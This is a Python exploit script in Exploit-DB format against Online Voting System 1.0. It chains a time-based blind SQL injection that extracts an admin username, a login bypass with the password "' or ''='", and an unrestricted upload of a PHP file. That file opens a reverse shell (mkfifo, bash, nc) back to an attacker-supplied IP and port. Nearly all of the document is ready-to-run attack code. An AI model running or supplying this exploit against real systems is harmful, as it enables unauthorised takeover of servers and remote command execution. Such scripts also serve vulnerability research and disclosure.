Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE)

# Exploit Title: Online Voting System 1.0 - SQLi (Authentication Bypass) + Remote Code Execution (RCE)
# Exploit Author: Geiseric
# Original Exploit Author: deathflash1411 - https://www.exploit-db.com/exploits/50076 - https://www.exploit-db.com/exploits/50075
# Date 02.07.2021
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

import requests
import os
import sys
from requests_toolbelt.multipart.encoder import MultipartEncoder
import string
import random




if len(sys.argv) < 4:
	print('[+] Usage: python3 ovsploit.py http://<ip> <your ip> <your port>')
	exit()

url = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]


exp_url = '/Online_voting_system/admin/save_candidate.php'
login_url = '/Online_voting_system/admin/'


def first_get():

	r = requests.get(url+login_url)
	return r.headers['Set-Cookie']


def retrieve_first_admin():
	print("[!] Stage 1: Finding a valid admin user through SQL Injection")
	cookie = first_get()
	count = 0
	i=1
	flag = True
	admin = ''
	while flag:
		for j in range(32,128):
			r = requests.post(url+login_url,data={'UserName': """aasd' AND (SELECT 7303 FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(UserName AS NCHAR),0x20) FROM users WHERE User_Type = "admin" LIMIT 0,1),"""+str(i)+""",1))="""+str(j)+""",0,1)))))PwbW)-- qRBs""",'Password': 'asd','Login':''},headers={"Cookie":cookie})
			if (r.elapsed.total_seconds() > 1):
				admin += chr(j)
				i+=1
				sys.stdout.write("\rAdmin User: "+ admin)
				sys.stdout.flush()
				count=0
			else:
				if count == 100:
					flag = False
					break
				else:
					count += 1
	print("\n[+] First admin user found!")
	print("[!] Starting Stage 2")
	return admin




def id_generator(size=6, chars=string.ascii_lowercase):
	return ''.join(random.choice(chars) for _ in range(size))+'.php'



def login_bypass(cookie):
	username = retrieve_first_admin()
	print("[!] Stage 2 started: Bypassing Login...")
	r = requests.post(url+login_url,data={'UserName': username,'Password': "' or ''='",'Login':''}, headers={'Cookie':cookie})
	return cookie



def rev_write():
	name = id_generator()
	f = open(name,'w')
	f.write('<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ' +attacker_ip+ " " + attacker_port+' >/tmp/f"); ?>')
	f.close()
	print('[+] Generated file with reverse shell: ' +name)
	return name


def exploit(cookie):
	print("[+] Uploading reverse shell...")
	filename=rev_write()
	multipart_data = MultipartEncoder(

		{
	            # a file upload field
	            'image': (filename, open(filename, 'rb'), 'application/x-php'),
	            # plain text fields
	            'user_name': 'admin',
	            'rfirstname': 'test',
	            'rlastname': 'test',
	            'rgender': 'Male',
	            'ryear': '1st year',
	            'rmname': 'test',
	            'rposition': 'Governor',
	            'party': 'test',
	            'save': 'save'
	           }
    	)
	r = requests.post(url+exp_url, data=multipart_data, headers={'Content-Type': multipart_data.content_type, 'Cookie':cookie})
	return filename




filename = exploit(login_bypass(first_get()))
print("[!] Triggering...")
input('[+] Please start a listener on port ' + attacker_port +' then press Enter to get shell.')
os.system('curl '+url+'/Online_voting_system/admin/upload/'+filename+' -m 1 -s')
print("[+] Cleaning up!")

os.system("rm "+ filename)